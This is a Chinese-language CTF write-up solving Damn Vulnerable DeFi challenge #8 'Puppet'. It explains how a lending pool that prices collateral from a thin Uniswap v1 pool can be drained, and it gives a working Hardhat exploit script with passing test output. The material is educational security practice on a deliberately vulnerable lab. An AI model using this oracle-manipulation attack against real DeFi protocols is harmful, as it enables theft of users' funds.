# Damn Vulnerable DeFi 挑战记录 #8 - Puppet 

By [Runstar](https://paragraph.com/@runstar) · 2022-07-28

---

[**Challenge #8 - Puppet**](https://www.damnvulnerabledefi.xyz/challenges/8.html)

> There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
> 
> There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
> 
> Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

*   [See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/puppet)
    
*   [Complete the challenge](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/puppet/puppet.challenge.js)
    

[_UniswapV1_ 文档](https://docs.uniswap.org/protocol/V1/introduction)

**目标:** 从借贷池中偷走所有token

        after(async function () {
            /** SUCCESS CONDITIONS */
    
            // Attacker has taken all tokens from the pool
            expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0");
            expect(await this.token.balanceOf(attacker.address)).to.be.gt(POOL_INITIAL_TOKEN_BALANCE);
        });
    

### 代码解析:

`PuppetPool.sol` 2倍超额抵押借贷池合约

`borrow` 借款函数

*   check 抵押金额为借款额的两倍
    
*   返还多余金额
    
*   借走DVT token
    

`calculateDepositRequired` 计算额定两倍抵押 `_computeOraclePrice` 将uniswap池中的价格作为预言机

        function _computeOraclePrice() private view returns (uint256) {
            // calculates the price of the token in wei according to Uniswap pair
            return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
        }
    

* * *

### 攻击思路:

        const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther("10");
        const UNISWAP_INITIAL_ETH_RESERVE = ethers.utils.parseEther("10");
    
        const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("1000");
        const ATTACKER_INITIAL_ETH_BALANCE = ethers.utils.parseEther("25");
        const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("100000");
    

借贷池预言机来自于uniswap, 由于我们拥有25ETH, 1000DVT, uniswap池中只有10ETH, 10DVT流动性过低, 因此可以轻易操控uniswap池中币对价格,从而轻易贷出DVT token

*   卖出所有DVT砸盘拉低token价格
    
*   此时由于DVT价格过低, 通过借贷池超额抵押直接换出所有DVT token(不需要还款)
    

### 代码示例:

        it("Exploit", async function () {
            /** CODE YOUR EXPLOIT HERE */
            await this.token
                .connect(attacker)
                .approve(this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);
            await this.uniswapExchange
                .connect(attacker)
                .tokenToEthSwapInput(
                    ATTACKER_INITIAL_TOKEN_BALANCE.sub(10),
                    1,
                    (await ethers.provider.getBlock("latest")).timestamp * 2,
                );
    
            const collateral = await this.lendingPool.calculateDepositRequired(
                POOL_INITIAL_TOKEN_BALANCE,
            );
            console.log(collateral);
            await this.lendingPool
                .connect(attacker)
                .borrow(POOL_INITIAL_TOKEN_BALANCE, { value: collateral });
        });
    

_运行通过_

    ❯ yarn run puppet
    yarn run v1.22.19
    warning ../../package.json: No license field
    $ yarn hardhat test test/puppet/puppet.challenge.js
    warning ../../package.json: No license field
    $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/puppet/puppet.challenge.js
    
    
      [Challenge] Puppet
    BigNumber { _hex: '0x0110e5bbd907e9d0c0', _isBigNumber: true }
        ✓ Exploit (111ms)
    
    
      1 passing (2s)
    
    Done in 4.18s.
    

_Twitter:_ [@0xRunstar](https://twitter.com/0xRunstar)

---

*Originally published on [Runstar](https://paragraph.com/@runstar/damn-vulnerable-defi-8-puppet)*
